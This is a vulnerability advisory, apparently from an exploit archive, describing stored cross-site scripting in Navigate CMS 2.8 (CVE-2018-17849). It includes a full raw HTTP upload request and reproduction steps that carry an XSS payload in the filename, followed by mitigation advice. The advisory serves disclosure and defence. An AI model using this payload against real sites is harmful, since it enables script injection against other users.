Navigate CMS 2.8 - Stored Cross-Site Scripting

2018.10.02
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 3.5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 6.8/10
Exploit range: Remote
Attack complexity: Medium
Authentication: Single time
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Title: ======= Navigate CMS 2.8 - Stored Cross-Site Scripting Introduction: ============== A content management system (CMS) is a computer application that supports the creation and modification of digital content. It is often used to support multiple users working in a collaborative environment. CMS features vary widely. Most CMSs include Web-based publishing, format management, history editing and version control, indexing, search, and retrieval. By their nature, content management systems support the separation of content and presentation. Vulnerability Disclosure: ========================== 2018-01-09: Public Disclosure CVE - ID: ========== CVE-2018-17849 Affected Product(s): ===================== Software: Navigate CMS 2.8 Vendor: https://www.navigatecms.com/en/home Exploitation Technique: ======================== Remote Severity Level: ================ High Technical Details & Description: ================================= Stored XSS occurs when a web application gathers input from a user which might be malicious, and thenstores that input in a data store for later use. The input that is stored is not correctly filtered. Request Method(s): [+] POST POST /navigate/navigate_upload.php?session_id=9dijkbl8ock0oc8gdhj2a3ji64 HTTP/1.1 Host: demo.navigatecms.com User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://demo.navigatecms.com/navigate/navigate.php?fid=files Content-Type: multipart/form-data; boundary=---------------------------377807687929379337147066664 Content-Length: 5066 Cookie: navigate-language=en; NVSID_40a27771=j848s30732sb3iidopoq6auo31; PHPSESSID=9dijkbl8ock0oc8gdhj2a3ji64; _ga=GA1.2.1722023139.1537994068; _gid=GA1.2.1265374360.1537994068; NVSID_31988416=9dijkbl8ock0oc8gdhj2a3ji64; navigate-tinymce-scroll=%7B%7D; __utma=264856080.1722023139.1537994068.1537994214.1537994214.1; __utmb=264856080.2.10.1537994214; __utmc=264856080; __utmz=264856080.1537994214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) Connection: close -----------------------------377807687929379337147066664 Content-Disposition: form-data; name="name" "><img src=x onerror=prompt(1)>.jpg -----------------------------377807687929379337147066664 Content-Disposition: form-data; name="chunk" 0 -----------------------------377807687929379337147066664 Content-Disposition: form-data; name="chunks" 1 -----------------------------377807687929379337147066664 Content-Disposition: form-data; name="file"; filename="\"><img src=x onerror=prompt(1)>.jpg" Content-Type: image/jpeg Vulnerable Parameter(s): [+] name= Proof of Concept (PoC): ======================== Cross-Site Scripting, also known as XSS, is one of the most common attacks carried out in web applications. The concept of XSS is to manipulate the client-side scripts of a web application to perform actions planned by a malicious user. Access the target: http://demo.navigatecms.com/navigate/navigate.php Enter in Content > Files > Load > Add File Add the vulnerable file: "><img src=x onerror=prompt(1)>.jpg [+] "><img src=x onerror=prompt(1)>.jpg Solution ========= For a prevention of Cross Site Scripting, some measures should be considered: Never enter untrusted data except in locations defined for this purpose. The principle of this rule is to deny everything and mostly do not JavaScript code from an unknown source and then run it. Validate the escape characters before inserting them inside the HTML element. Failure to validate inputs may allow malicious code to be injected into the application. Validate URL parameters and check information that sends our HTTP requests, hex escapes us in URLs such as% 25, aawhere 25 is the ASCII code of the character "%". Avoid HTML injection attacks by resorting to libraries that parse the inserted HTML such as: HtmlSanitizer, OWASP Java HTML Sanitizer. Another recommendation to mitigate such security flaws in a web application is an application of a Web Application Firewall (WAF) such as ModSecurity, Ironbee and others. Credits ======== Offensive0Labs - Rafael Fontes Souza References ========== https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002) http://projects.webappsec.org/Cross-Site-Scripting http://cwe.mitre.org/data/definitions/79.html https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top